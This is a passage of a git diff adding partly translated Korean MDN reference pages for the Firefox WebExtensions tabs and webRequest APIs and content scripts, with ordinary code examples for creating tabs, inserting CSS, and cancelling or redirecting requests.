{{WebExtExamples}}

+ +
Acknowledgements + +

This API is based on Chromium's chrome.storage API. This documentation is derived from storage.json in the Chromium code.

+ +

Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.

+
+ + diff --git a/files/ko/mozilla/add-ons/webextensions/api/tabs/create/index.html b/files/ko/mozilla/add-ons/webextensions/api/tabs/create/index.html new file mode 100644 index 0000000000..1c36ddff1d --- /dev/null +++ b/files/ko/mozilla/add-ons/webextensions/api/tabs/create/index.html @@ -0,0 +1,131 @@ +--- +title: tabs.create() +slug: Mozilla/Add-ons/WebExtensions/API/tabs/create +translation_of: Mozilla/Add-ons/WebExtensions/API/tabs/create +--- +
{{AddonSidebar()}}
+ +

새 탭을 만든다.

+ +

이것은 비동기 함수로 Promise를 돌려준다.

+ +

문법

+ +
var creating = browser.tabs.create(
+  createProperties   // object
+)
+
+ +

매개변수

+ +
+
createProperties
+
object. 새 탭에 대한 속성들. 속성들에 대해 더 배우려면 {{WebExtAPIRef("tabs.Tab")}} 문서를 보라.
+
+
+
active{{optional_inline}}
+
boolean. 활성탭이 되는지를 정한다. 윈도우의 포커스에는 영향이 없다({{WebExtAPIRef('windows.update')}} 참조). 기본값은 true.
+
cookieStoreId {{optional_inline}}
+
string. 탭의 쿠키 저장 ID를 cookieStoreId로 지정한다. 이 옵션은 확장이 "cookies" 권한을 가져야 쓸 수 있다.
+
index{{optional_inline}}
+
integer. 윈도우에서 탭의 위치를 지정한다. 쓸 수 있는 값은 0에서 윈도에 있는 탭의 수까지다.
+
openerTabId{{optional_inline}}
+
integer. The ID of the tab that opened this tab. If specified, the opener tab must be in the same window as the newly created tab.
+
openInReaderMode{{optional_inline}}
+
boolean. If true, open this tab in Reader Mode. Defaults to false.
+
pinned{{optional_inline}}
+
boolean. Whether the tab should be pinned. Defaults to false.
+
selected{{optional_inline}}
+
boolean. 윈도우에서 탭이 선택되는지를 지정한다. 기본값은  true. +
이 속성은 사용이 중단되었다. 파이어폭스에서는 지원하지 않는다. active가 대신한다.
+
+
url{{optional_inline}}
+
string. 최초 표시될 URL. 기본값은 새 탭 페이지다.
+
URL은 반드시 scheme를 포함해야 한다 (가령은 'http://www.google.com'은 되지만, 'www.google.com'은 안된다).
+
보안상 파이어폭스에서 특권이 있는 URL은 안된다. 그래서 아래와 같은 URL을 주면 실패할 것이다:
+
+
    +
  • chrome: URL
  • +
  • javascript: URL
  • +
  • data: URL
  • +
  • file: URL (예, 파일시스템의 파일들. 단, 확장 안에 포함된 파일의 사용은 아래를 보라)
  • +
  • 특권이 있는 about: URL (예, about:config, about:addons, about:debugging) . 특권이 없는 URL은 된다 (예, about:blank).
  • +
  • 새 탭 페이지 (about:newtab)는 URL 값이 주어지지 않으면 열린다.
  • +
+ +

확장에 포함된 페이지의 로딩은 확장의 manifest.json 파일이 있는데서 시작하는 절대 경로를 써라. 예를 들면: '/path/to/my-page.html'. 만약 첫 '/'를 빼면 URL은 상대 경로로 취급되고, 다른 브라우저들은 다른 절대 경로를 생성해낼 것이다.

+
+
windowId{{optional_inline}}
+
integer. 새 탭이 만들어질 윈도우. 기본값은 현재 윈도우.
+
+
+
+ +

Return value

+ +

A Promise that will be fulfilled with a {{WebExtAPIRef('tabs.Tab')}} object containing details about the created tab. If the tab could not be created (for example, because url used a privileged scheme) the promise will be rejected with an error message.

+ +

브라우저 호환성

+ + + +

{{Compat("webextensions.api.tabs.create", 10)}}

+ +

예제

+ +

Open "https://example.org" in a new tab:

+ +
function onCreated(tab) {
+  console.log(`Created new tab: ${tab.id}`)
+}
+
+function onError(error) {
+  console.log(`Error: ${error}`);
+}
+
+browser.browserAction.onClicked.addListener(function() {
+  var creating = browser.tabs.create({
+    url:"https://example.org"
+  });
+  creating.then(onCreated, onError);
+});
+ +

{{WebExtExamples}}

+ +
Acknowledgements + +

This API is based on Chromium's chrome.tabs API. This documentation is derived from tabs.json in the Chromium code.

+ +

Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.

+
+ + diff --git a/files/ko/mozilla/add-ons/webextensions/api/tabs/index.html b/files/ko/mozilla/add-ons/webextensions/api/tabs/index.html new file mode 100644 index 0000000000..f3a923d31d --- /dev/null +++ b/files/ko/mozilla/add-ons/webextensions/api/tabs/index.html @@ -0,0 +1,213 @@ +--- +title: tabs +slug: Mozilla/Add-ons/WebExtensions/API/tabs +tags: + - API + - Add-ons + - Extensions + - Interface + - NeedsTranslation + - Non-standard + - Reference + - TopicStub + - WebExtensions + - tabs +translation_of: Mozilla/Add-ons/WebExtensions/API/tabs +--- +
{{AddonSidebar}}
+ +

Interact with the browser's tab system.

+ +

브라우저의 탭 시스템과의 상호작용.

+ +

You can use this API to get a list of opened tabs, filtered by various criteria, and to open, update, move, reload, and remove tabs. You can't directly access the content hosted by tabs using this API, but you can insert JavaScript and CSS into tabs using the {{WebExtAPIRef("tabs.executeScript()")}} or {{WebExtAPIRef("tabs.insertCSS()")}} APIs.

+ +

이 API는 열려있는 탭의 목록을 얻는데, 다양한 기준으로 걸러내는데, 그리고 탭을 열고, 고치고, 옮기고, 다시 싣고, 없애는데 사용할 수 있다. 이 API로 탭에 열린 콘텐트를 직접 다룰 수는 없지만, {{WebExtAPIRef("tabs.executeScript()")}}나 {{WebExtAPIRef("tabs.insertCSS()")}} API로 탭에 자바스크립트와 CSS를 끼워 넣을 수는 있다.

+ +

You can use most of this API without any special permission. However:

+ +

특별한 권한없이 이 API의 대부분을 사용할 수 있지만:

+ + + +

 

+ + + +

 

+ +

또는 이런 권한을 일시적으로 얻는 방법도 있다. 현재 활성 탭이거나 명시적인 사용자 동작의 응답이라면 "activeTab" 권한을 요청하면 된다.

+ +

많은 탭 작업은 탭 ID를 사용한다. 탭 ID는 브라우저 세션 내에서 탭마다 고유하도록 보장된다. 브라우저가 다시 시작되면, 탭 ID를 재사용할 수 있고 그럴 것이다. 다시 시작하는 브라우저에 걸쳐서 탭에 정보를 연관시키려면 {{WebExtAPIRef("sessions.setTabValue()")}}를 사용해라.

+ +

Types

+ +
+
{{WebExtAPIRef("tabs.MutedInfoReason")}}
+
Specifies the reason a tab was muted or unmuted.
+
{{WebExtAPIRef("tabs.MutedInfo")}}
+
This object contains a boolean indicating whether the tab is muted, and the reason for the last state change.
+
{{WebExtAPIRef("tabs.Tab")}}
+
This type contains information about a tab.
+
{{WebExtAPIRef("tabs.TabStatus")}}
+
Indicates whether the tab has finished loading.
+
{{WebExtAPIRef("tabs.WindowType")}}
+
The type of window that hosts this tab.
+
{{WebExtAPIRef("tabs.ZoomSettingsMode")}}
+
Defines whether zoom changes are handled by the browser, by the add-on, or are disabled.
+
{{WebExtAPIRef("tabs.ZoomSettingsScope")}}
+
Defines whether zoom changes will persist for the page's origin, or only take effect in this tab.
+
{{WebExtAPIRef("tabs.ZoomSettings")}}
+
Defines zoom settings {{WebExtAPIRef("tabs.ZoomSettingsMode", "mode")}}, {{WebExtAPIRef("tabs.ZoomSettingsScope", "scope")}}, and default zoom factor.
+
+ +

Properties

+ +
+
{{WebExtAPIRef("tabs.TAB_ID_NONE")}}
+
A special ID value given to tabs that are not browser tabs (for example, tabs in devtools windows).
+
+ +

Functions

+ +
+
{{WebExtAPIRef("tabs.connect()")}}
+
Sets up a messaging connection between the add-on's background scripts (or other privileged scripts, such as popup scripts or options page scripts) and any content scripts running in the specified tab.
+
{{WebExtAPIRef("tabs.create()")}}
+
Creates a new tab.
+
{{WebExtAPIRef("tabs.captureVisibleTab()")}}
+
Creates a data URI encoding an image of the visible area of the currently active tab in the specified window.
+
{{WebExtAPIRef("tabs.detectLanguage()")}}
+
Detects the primary language of the content in a tab.
+
{{WebExtAPIRef("tabs.duplicate()")}}
+
Duplicates a tab.
+
{{WebExtAPIRef("tabs.executeScript()")}}
+
Injects JavaScript code into a page.
+
{{WebExtAPIRef("tabs.get()")}}
+
Retrieves details about the specified tab.
+
{{WebExtAPIRef("tabs.getAllInWindow()")}} {{deprecated_inline}}
+
Gets details about all tabs in the specified window.
+
{{WebExtAPIRef("tabs.getCurrent()")}}
+
Gets information about the tab that this script is running in, as a tabs.Tab object.
+
{{WebExtAPIRef("tabs.getSelected()")}} {{deprecated_inline}}
+
Gets the tab that is selected in the specified window.
+
{{WebExtAPIRef("tabs.getZoom()")}}
+
Gets the current zoom factor of the specified tab.
+
{{WebExtAPIRef("tabs.getZoomSettings()")}}
+
Gets the current zoom settings for the specified tab.
+
{{WebExtAPIRef("tabs.highlight()")}}
+
Highlights one or more tabs.
+
{{WebExtAPIRef("tabs.insertCSS()")}}
+
Injects CSS into a page.
+
{{WebExtAPIRef("tabs.removeCSS()")}}
+
Removes from a page CSS which was previously injected by calling {{WebExtAPIRef("tabs.insertCSS()")}}.
+
{{WebExtAPIRef("tabs.move()")}}
+
Moves one or more tabs to a new position in the same window or to a different window.
+
{{WebExtAPIRef("tabs.query()")}}
+
Gets all tabs that have the specified properties, or all tabs if no properties are specified.
+
{{WebExtAPIRef("tabs.reload()")}}
+
Reload a tab, optionally bypassing the local web cache.
+
{{WebExtAPIRef("tabs.remove()")}}
+
Closes one or more tabs.
+
{{WebExtAPIRef("tabs.sendMessage()")}}
+
Sends a single message to the content script(s) in the specified tab.
+
{{WebExtAPIRef("tabs.sendRequest()")}} {{deprecated_inline}}
+
Sends a single request to the content script(s) in the specified tab. Deprecated: use {{WebExtAPIRef("tabs.sendMessage()")}} instead.
+
{{WebExtAPIRef("tabs.setZoom()")}}
+
Zooms the specified tab.
+
{{WebExtAPIRef("tabs.setZoomSettings()")}}
+
Sets the zoom settings for the specified tab.
+
{{WebExtAPIRef("tabs.update()")}}
+
Navigate the tab to a new URL, or modify other properties of the tab.
+
+ +

Events

+ +
+
{{WebExtAPIRef("tabs.onActivated")}}
+
Fires when the active tab in a window changes. Note that the tab's URL may not be set at the time this event fired.
+
{{WebExtAPIRef("tabs.onActiveChanged")}} {{deprecated_inline}}
+
Fires when the selected tab in a window changes. Deprecated: use {{WebExtAPIRef("tabs.onActivated")}} instead.
+
{{WebExtAPIRef("tabs.onAttached")}}
+
Fired when a tab is attached to a window, for example because it was moved between windows.
+
{{WebExtAPIRef("tabs.onCreated")}}
+
Fired when a tab is created. Note that the tab's URL may not be set at the time this event fired.
+
{{WebExtAPIRef("tabs.onDetached")}}
+
Fired when a tab is detached from a window, for example because it is being moved between windows.
+
{{WebExtAPIRef("tabs.onHighlightChanged")}} {{deprecated_inline}}
+
Fired when the highlighted or selected tabs in a window change. Deprecated: use {{WebExtAPIRef("tabs.onHighlighted")}} instead.
+
{{WebExtAPIRef("tabs.onHighlighted")}}
+
Fired when the highlighted or selected tabs in a window change.
+
{{WebExtAPIRef("tabs.onMoved")}}
+
Fired when a tab is moved within a window.
+
{{WebExtAPIRef("tabs.onRemoved")}}
+
Fired when a tab is closed.
+
{{WebExtAPIRef("tabs.onReplaced")}}
+
Fired when a tab is replaced with another tab due to prerendering.
+
{{WebExtAPIRef("tabs.onSelectionChanged")}} {{deprecated_inline}}
+
Fires when the selected tab in a window changes. Deprecated: use {{WebExtAPIRef("tabs.onActivated")}} instead.
+
{{WebExtAPIRef("tabs.onUpdated")}}
+
Fired when a tab is updated.
+
{{WebExtAPIRef("tabs.onZoomChange")}}
+
Fired when a tab is zoomed.
+
+ +

Browser compatibility

+ +

{{Compat("webextensions.api.tabs")}}

+ + + +

Edge incompatibilities

+ +

Promises are not supported in Edge. Use callbacks instead.

+ +

{{WebExtExamples("h2")}}

+ +
Acknowledgements + +

This API is based on Chromium's chrome.tabs API. This documentation is derived from tabs.json in the Chromium code.

+ +

Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.

+
+ + diff --git a/files/ko/mozilla/add-ons/webextensions/api/tabs/insertcss/index.html b/files/ko/mozilla/add-ons/webextensions/api/tabs/insertcss/index.html new file mode 100644 index 0000000000..9fbf180263 --- /dev/null +++ b/files/ko/mozilla/add-ons/webextensions/api/tabs/insertcss/index.html @@ -0,0 +1,129 @@ +--- +title: tabs.insertCSS() +slug: Mozilla/Add-ons/WebExtensions/API/tabs/insertCSS +translation_of: Mozilla/Add-ons/WebExtensions/API/tabs/insertCSS +--- +
{{AddonSidebar()}}
+ +

페이지에 CSS 삽입하기

+ +

이 API를 사용하기 위해 여러분은 해당 페이지 URL에 대한 허가가 필요합니다. 이 허가에 대한 요청은  호스트 허가를 통하거나  활성화 된 탭 허가을 사용할 수도 있습니다.

+ +

You can only inject CSS into pages whose URL can be expressed using a match pattern: meaning, its scheme must be one of "http", "https", "file", "ftp". This means that you can't inject CSS into any of the browser's built-in pages, such as about:debugging, about:addons, or the page that opens when you open a new empty tab.

+ +

The inserted CSS may be removed again by calling {{WebExtAPIRef("tabs.removeCSS()")}}.

+ +

This is an asynchronous function that returns a Promise.

+ +

Syntax

+ +
var inserting = browser.tabs.insertCSS(
+  tabId,           // optional integer
+  details          // extensionTypes.InjectDetails
+)
+
+ +

Parameters

+ +
+
tabId {{optional_inline}}
+
integer. The ID of the tab in which to insert the CSS. Defaults to the active tab of the current window.
+
details
+
{{WebExtAPIRef('extensionTypes.InjectDetails')}}. Describes the CSS to insert. This contains the following properties:
+
+
+
allFrames{{optional_inline}}
+
boolean. If true, the CSS will be injected into all frames of the current page. If it is false, CSS is only injected into the top frame. Defaults to false.
+
code{{optional_inline}}
+
string. Code to inject, as a text string.
+
cssOrigin{{optional_inline}}
+
string. This can take one of two values: "user", to add the CSS as a user stylesheet, or "author" to add it as an author stylesheet. Specifying "user" enables you to prevent websites from overriding the CSS you insert: see Cascading order. If this option is omitted, the CSS is added as an author stylesheet.
+
file{{optional_inline}}
+
string. Path to a file containing the code to inject. In Firefox, relative URLs are resolved relative to the current page URL. In Chrome, these URLs are resolved relative to the add-on's base URL. To work cross-browser, you can specify the path as an absolute URL, starting at the add-on's root, like this: "/path/to/stylesheet.css".
+
frameId{{optional_inline}}
+
integer. The frame where the CSS should be injected. Defaults to 0 (the top-level frame).
+
matchAboutBlank{{optional_inline}}
+
boolean. If true, the code will be injected into embedded "about:blank" and "about:srcdoc" frames if your add-on has access to their parent document. The code cannot be inserted in top-level about: frames. Defaults to false.
+
runAt{{optional_inline}}
+
{{WebExtAPIRef('extensionTypes.RunAt')}}. The soonest that the code will be injected into the tab. Defaults to "document_idle".
+
+
+
+ +

Return value

+ +

A Promise that will be fulfilled with no arguments when all the CSS has been inserted. If any error occurs, the promise will be rejected with an error message.

+ +

Browser compatibility

+ + + +

{{Compat("webextensions.api.tabs.insertCSS")}}

+ +

Examples

+ +

This example inserts into the currently active tab CSS which is taken from a string.

+ +
var css = "body { border: 20px dotted pink; }";
+
+browser.browserAction.onClicked.addListener(() => {
+
+  function onError(error) {
+    console.log(`Error: ${error}`);
+  }
+
+  var insertingCSS = browser.tabs.insertCSS({code: css});
+  insertingCSS.then(null, onError);
+});
+ +

This example inserts CSS which is loaded from a file packaged with the extension. The CSS is inserted into the tab whose ID is 2:

+ +
browser.browserAction.onClicked.addListener(() => {
+
+  function onError(error) {
+    console.log(`Error: ${error}`);
+  }
+
+  var insertingCSS = browser.tabs.insertCSS(2, {file: "content-style.css"});
+  insertingCSS.then(null, onError);
+});
+ +

{{WebExtExamples}}

+ +
Acknowledgements + +

This API is based on Chromium's chrome.tabs API. This documentation is derived from tabs.json in the Chromium code.

+ +

Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.

+
+ + diff --git a/files/ko/mozilla/add-ons/webextensions/api/webrequest/index.html b/files/ko/mozilla/add-ons/webextensions/api/webrequest/index.html new file mode 100644 index 0000000000..3aa39a9590 --- /dev/null +++ b/files/ko/mozilla/add-ons/webextensions/api/webrequest/index.html @@ -0,0 +1,204 @@ +--- +title: webRequest +slug: Mozilla/Add-ons/WebExtensions/API/webRequest +tags: + - API + - Add-ons + - Extensions + - Interface + - Non-standard + - Reference + - WebExtensions +translation_of: Mozilla/Add-ons/WebExtensions/API/webRequest +--- +
{{AddonSidebar}}
+ +

Add event listeners for the various stages of making an HTTP request. The event listener receives detailed information about the request and can modify or cancel the request.

+ +

Each event is fired at a particular stage of the request. The typical sequence of events is like this:

+ +

+ +

{{WebExtAPIRef("webRequest.onErrorOccurred", "onErrorOccurred")}} can be fired at any time during the request. Also, note that sometimes the sequence of events may differ from this: for example, in Firefox, on an HSTS upgrade, the onBeforeRedirect event will be triggered immediately after onBeforeRequest.

+ +

All the events, except onErrorOccurred, can take three arguments to addListener():

+ + + +

리스너는 요청 정보가 담긴 details 객체를 받는다. This includes a request ID, which is provided to enable an add-on to correlate events associated with a single request. It is unique within a browser session and the add-on's context. It stays the same throughout a request, even across redirections and authentication exchanges.

+ +

webRequest API를 사용하려면 확장 프로그램은 "webRequest" API 권한을 가져야 하고, 대상 호스트에 대해서도 호스트 권한을 가져야 한다. "blocking" 기능을  사용하려면 추가로 "webRequestBlocking" API 권한도 가져야 한다.

+ +

To intercept resources loaded by a page (such as images, scripts, or stylesheets), the extension must have the host permission for the resource as well as for the main page requesting the resource. For example, if a page at "https://developer.mozilla.org" loads an image from "https://mdn.mozillademos.org", then an extension must have both host permissions if it is to intercept the image request.

+ +

Modifying requests

+ +

On some of these events, you can modify the request. Specifically, you can:

+ + + +

To do this, you need to pass an option with the value "blocking" in the extraInfoSpec argument to the event's addListener(). This makes the listener synchronous. In the listener, you can then return a {{WebExtAPIRef("webRequest.BlockingResponse", "BlockingResponse")}} object, which indicates the modification you need to make: for example, the modified request header you want to send.

+ +

Accessing security information

+ +

In the {{WebExtAPIRef("webRequest.onHeadersReceived", "onHeadersReceived")}} listener you can access the TLS properties of a request by calling {{WebExtAPIRef("webRequest.getSecurityInfo()", "getSecurityInfo()")}}. To do this you must also pass "blocking" in the extraInfoSpec argument to the event's addListener().

+ +

You can read details of the TLS handshake, but can't modify them or override the browser's trust decisions.

+ +

Modifying responses

+ +

To modify the HTTP response bodies for a request, call {{WebExtAPIRef("webRequest.filterResponseData")}}, passing it the ID of the request. This returns a {{WebExtAPIRef("webRequest.StreamFilter")}} object that you can use to examine and modify the data as it is received by the browser.

+ +

To do this, you must have the "webRequestBlocking" API permission as well as the "webRequest" API permission and the host permission for the relevant host.

+ +

Types

+ +
+
{{WebExtAPIRef("webRequest.BlockingResponse")}}
+
+

An object of this type is returned by event listeners that have set "blocking" in their extraInfoSpec argument. By setting particular properties in BlockingResponse, the listener can modify network requests.

+
+
{{WebExtAPIRef("webRequest.CertificateInfo")}}
+
An object describing a single X.509 certificate.
+
{{WebExtAPIRef("webRequest.HttpHeaders")}}
+
An array of HTTP headers. Each header is represented as an object with two properties: name and either value or binaryValue.
+
{{WebExtAPIRef("webRequest.RequestFilter")}}
+
An object describing filters to apply to webRequest events.
+
{{WebExtAPIRef("webRequest.ResourceType")}}
+
Represents a particular kind of resource fetched in a web request.
+
{{WebExtAPIRef("webRequest.SecurityInfo")}}
+
An object describing the security properties of a particular web request.
+
{{WebExtAPIRef("webRequest.StreamFilter")}}
+
An object that can be used to monitor and modify HTTP responses while they are being received.
+
{{WebExtAPIRef("webRequest.UploadData")}}
+
Contains data uploaded in a URL request.
+
+ +

Properties

+ +
+
{{WebExtAPIRef("webRequest.MAX_HANDLER_BEHAVIOR_CHANGED_CALLS_PER_10_MINUTES", "webRequest.MAX_HANDLER_BEHAVIOR_CHANGED_CALLS_PER_10_MINUTES")}}
+
The maximum number of times that handlerBehaviorChanged() can be called in a 10 minute period.
+
+ +

Methods

+ +
+
{{WebExtAPIRef("webRequest.handlerBehaviorChanged()")}}
+
This method can be used to ensure that event listeners are applied correctly when pages are in the browser's in-memory cache.
+
{{WebExtAPIRef("webRequest.filterResponseData()")}}
+
Returns a {{WebExtAPIRef("webRequest.StreamFilter")}} object for a given request.
+
{{WebExtAPIRef("webRequest.getSecurityInfo()")}}
+
Gets detailed information about the TLS connection associated with a given request.
+
+ +

Events

+ +
+
{{WebExtAPIRef("webRequest.onBeforeRequest")}}
+
Fired when a request is about to be made, and before headers are available. This is a good place to listen if you want to cancel or redirect the request.
+
{{WebExtAPIRef("webRequest.onBeforeSendHeaders")}}
+
Fired before sending any HTTP data, but after HTTP headers are available. This is a good place to listen if you want to modify HTTP request headers.
+
{{WebExtAPIRef("webRequest.onSendHeaders")}}
+
Fired just before sending headers. If your add-on or some other add-on modified headers in {{WebExtAPIRef("webRequest.onBeforeSendHeaders", "onBeforeSendHeaders")}}, you'll see the modified version here.
+
{{WebExtAPIRef("webRequest.onHeadersReceived")}}
+
Fired when the HTTP response headers associated with a request have been received. You can use this event to modify HTTP response headers.
+
{{WebExtAPIRef("webRequest.onAuthRequired")}}
+
Fired when the server asks the client to provide authentication credentials. The listener can do nothing, cancel the request, or supply authentication credentials.
+
{{WebExtAPIRef("webRequest.onResponseStarted")}}
+
Fired when the first byte of the response body is received. For HTTP requests, this means that the status line and response headers are available.
+
{{WebExtAPIRef("webRequest.onBeforeRedirect")}}
+
Fired when a server-initiated redirect is about to occur.
+
{{WebExtAPIRef("webRequest.onCompleted")}}
+
Fired when a request is completed.
+
{{WebExtAPIRef("webRequest.onErrorOccurred")}}
+
Fired when an error occurs.
+
+ +

Browser compatibility

+ + + +

{{Compat("webextensions.api.webRequest")}}

+ +

 

+ +

Extra notes on Chrome incompatibilities.

+ +

 

+ +

{{WebExtExamples("h2")}}

+ +
Acknowledgments + +

This API is based on Chromium's chrome.webRequest API. This documentation is derived from web_request.json in the Chromium code.

+ +

Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.

+
+ + diff --git a/files/ko/mozilla/add-ons/webextensions/api/webrequest/onbeforerequest/index.html b/files/ko/mozilla/add-ons/webextensions/api/webrequest/onbeforerequest/index.html new file mode 100644 index 0000000000..ecc9e9be39 --- /dev/null +++ b/files/ko/mozilla/add-ons/webextensions/api/webrequest/onbeforerequest/index.html @@ -0,0 +1,239 @@ +--- +title: webRequest.onBeforeRequest +slug: Mozilla/Add-ons/WebExtensions/API/webRequest/onBeforeRequest +translation_of: Mozilla/Add-ons/WebExtensions/API/webRequest/onBeforeRequest +--- +
{{AddonSidebar()}}
+ +

This event is triggered when a request is about to be made, and before headers are available. This is a good place to listen if you want to cancel or redirect the request.

+ +

To cancel or redirect the request, first include "blocking" in the extraInfoSpec array argument to addListener(). Then, in the listener function, return a {{WebExtAPIRef("webRequest.BlockingResponse", "BlockingResponse")}} object, setting the appropriate property:

+ + + +

From Firefox 52 onwards, instead of returning BlockingResponse, the listener can return a Promise which is resolved with a BlockingResponse. This enables the listener to process the request asynchronously.

+ +

If you use "blocking", you must have the "webRequestBlocking" API permission in your manifest.json.

+ +

문법

+ +
browser.webRequest.onBeforeRequest.addListener(
+  listener,             // function
+  filter,               //  object
+  extraInfoSpec         //  optional array of strings
+)
+browser.webRequest.onBeforeRequest.removeListener(listener)
+browser.webRequest.onBeforeRequest.hasListener(listener)
+
+ +

Events have three functions:

+ +
+
addListener(callback, filter, extraInfoSpec)
+
Adds a listener to this event.
+
removeListener(listener)
+
Stop listening to this event. The listener argument is the listener to remove.
+
hasListener(listener)
+
Check whether listener is registered for this event. Returns true if it is listening, false otherwise.
+
+ +

리스너 등록 문법

+ +

Parameters

+ +
+
callback
+
+

Function that will be called when this event occurs. The function will be passed the following arguments:

+ +
+
details
+
object. Details about the request. See details below.
+
+ +

Returns: {{WebExtAPIRef('webRequest.BlockingResponse')}}. If "blocking" is specified in the extraInfoSpec parameter, the event listener should return a BlockingResponse object, and can set either its cancel or its redirectUrl properties. From Firefox 52 onwards, instead of returning BlockingResponse, the listener can return a Promise which is resolved with a BlockingResponse. This enables the listener to process the request asynchronously.

+
+
filter
+
{{WebExtAPIRef('webRequest.RequestFilter')}}. A filter that restricts the events that will be sent to this listener.
+
extraInfoSpec{{optional_inline}}
+
array of string. Extra options for the event. You can pass any of the following values:
+
+
    +
  • "blocking": make the request synchronous, so you can cancel or redirect the request
  • +
  • "requestBody": include requestBody in the details object passed to the listener
  • +
+
+
+ +

추가적인 객체

+ +

details

+ +
+
requestId
+
string. The ID of the request. Request IDs are unique within a browser session, so you can use them to relate different events associated with the same request.
+
url
+
string. Target of the request.
+
method
+
string. Standard HTTP method: for example, "GET" or "POST".
+
frameId
+
integer. Zero if the request happens in the main frame; a positive value is the ID of a subframe in which the request happens. If the document of a (sub-)frame is loaded (type is main_frame or sub_frame), frameId indicates the ID of this frame, not the ID of the outer frame. Frame IDs are unique within a tab.
+
parentFrameId
+
integer. ID of the frame that contains the frame which sent the request. Set to -1 if no parent frame exists.
+
requestBody{{optional_inline}}
+
object. Contains the HTTP request body data. Only provided if extraInfoSpec contains "requestBody".
+
+
+
error{{optional_inline}}
+
string. This is set if any errors were encountered when obtaining request body data.
+
formData{{optional_inline}}
+
object. This object is present if the request method is POST and the body is a sequence of key-value pairs encoded in UTF-8 as either "multipart/form-data" or "application/x-www-form-urlencoded".
+
It is a dictionary in which each key contains the list of all values for that key. For example: {'key': ['value1', 'value2']}. If the data is of another media type, or if it is malformed, the object is not present.
+
raw{{optional_inline}}
+
array of {{WebExtAPIRef('webRequest.UploadData')}}. If the request method is PUT or POST, and the body is not already parsed in formData, then this array contains the unparsed request body elements.
+
+
+
tabId
+
integer. ID of the tab in which the request takes place. Set to -1 if the request isn't related to a tab.
+
type
+
{{WebExtAPIRef('webRequest.ResourceType')}}. The type of resource being requested: for example, "image", "script", "stylesheet".
+
timeStamp
+
number. The time when this event fired, in milliseconds since the epoch.
+
originUrl
+
string. URL of the resource that triggered this request. Note that this may not be the same as the URL of the page into which the requested resource will be loaded. For example, if a document triggers a load in a different window through the target attribute of a link, or a CSS document includes an image using the url() functional notation, then this will be the URL of the original document or of the CSS document, respectively.
+
+ +

브라우저 호환성

+ + + +

{{Compat("webextensions.api.webRequest.onBeforeRequest", 10)}}

+ +

예제

+ +

This code logs the URL for every resource requested which matches the <all_urls> pattern:

+ +
function logURL(requestDetails) {
+  console.log("Loading: " + requestDetails.url);
+}
+
+browser.webRequest.onBeforeRequest.addListener(
+  logURL,
+  {urls: ["<all_urls>"]}
+);
+ +

This code cancels requests for images that are made to URLs under "https://mdn.mozillademos.org/" (to see the effect, visit any page on MDN that contains images, such as Firefox Developer Edition):

+ +
// match pattern for the URLs to redirect
+var pattern = "https://mdn.mozillademos.org/*";
+
+// cancel function returns an object
+// which contains a property `cancel` set to `true`
+function cancel(requestDetails) {
+  console.log("Canceling: " + requestDetails.url);
+  return {cancel: true};
+}
+
+// add the listener,
+// passing the filter argument and "blocking"
+browser.webRequest.onBeforeRequest.addListener(
+  cancel,
+  {urls: [pattern], types: ["image"]},
+  ["blocking"]
+);
+
+ +

This code replaces, by redirection, all network requests for images that are made to URLs under "https://mdn.mozillademos.org/" (to see the effect, visit any page on MDN that contains images, such as Firefox Developer Edition):

+ +
// match pattern for the URLs to redirect
+var pattern = "https://mdn.mozillademos.org/*";
+
+// redirect function
+// returns an object with a property `redirectURL`
+// set to the new URL
+function redirect(requestDetails) {
+  console.log("Redirecting: " + requestDetails.url);
+  return {
+    redirectUrl: "https://38.media.tumblr.com/tumblr_ldbj01lZiP1qe0eclo1_500.gif"
+  };
+}
+
+// add the listener,
+// passing the filter argument and "blocking"
+browser.webRequest.onBeforeRequest.addListener(
+  redirect,
+  {urls:[pattern], types:["image"]},
+  ["blocking"]
+);
+ +

This code is exactly like the previous example, except that the listener handles the request asynchronously. It returns a Promise that sets a timer, and resolves with the redirect URL when the timer expires:

+ +
// match pattern for the URLs to redirect
+var pattern = "https://mdn.mozillademos.org/*";
+
+// URL we will redirect to
+var redirectUrl = "https://38.media.tumblr.com/tumblr_ldbj01lZiP1qe0eclo1_500.gif";
+
+// redirect function returns a Promise
+// which is resolved with the redirect URL when a timer expires
+function redirectAsync(requestDetails) {
+  console.log("Redirecting async: " + requestDetails.url);
+  var asyncCancel = new Promise((resolve, reject) => {
+    window.setTimeout(() => {
+      resolve({redirectUrl});
+    }, 2000);
+  });
+
+  return asyncCancel;
+}
+
+// add the listener,
+// passing the filter argument and "blocking"
+browser.webRequest.onBeforeRequest.addListener(
+  redirectAsync,
+  {urls: [pattern], types: ["image"]},
+  ["blocking"]
+);
+ +

{{WebExtExamples}}

+ +
Acknowledgements + +

This API is based on Chromium's chrome.webRequest API. This documentation is derived from web_request.json in the Chromium code.

+ +

Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.

+
+ + diff --git a/files/ko/mozilla/add-ons/webextensions/content_scripts/index.html b/files/ko/mozilla/add-ons/webextensions/content_scripts/index.html new file mode 100644 index 0000000000..7d1c49e05a --- /dev/null +++ b/files/ko/mozilla/add-ons/webextensions/content_scripts/index.html @@ -0,0 +1,479 @@ +--- +title: Content scripts +slug: Mozilla/Add-ons/WebExtensions/Content_scripts +translation_of: Mozilla/Add-ons/WebExtensions/Content_scripts +--- +
{{AddonSidebar}}
+ +

A content script is a part of your extension that runs in the context of a particular web page (as opposed to background scripts which are part of the extension, or scripts which are part of the web site itself, such as those loaded using the {{HTMLElement("script")}} element).

+ +

Background scripts can access all the WebExtension JavaScript APIs, but they can't directly access the content of web pages. So if your extension needs to do that, you need content scripts.

+ +

Just like the scripts loaded by normal web pages, content scripts can read and modify the content of their pages using the standard DOM APIs.

+ +

Content scripts can only access a small subset of the WebExtension APIs, but they can communicate with background scripts using a messaging system, and thereby indirectly access the WebExtension APIs.

+ +
+

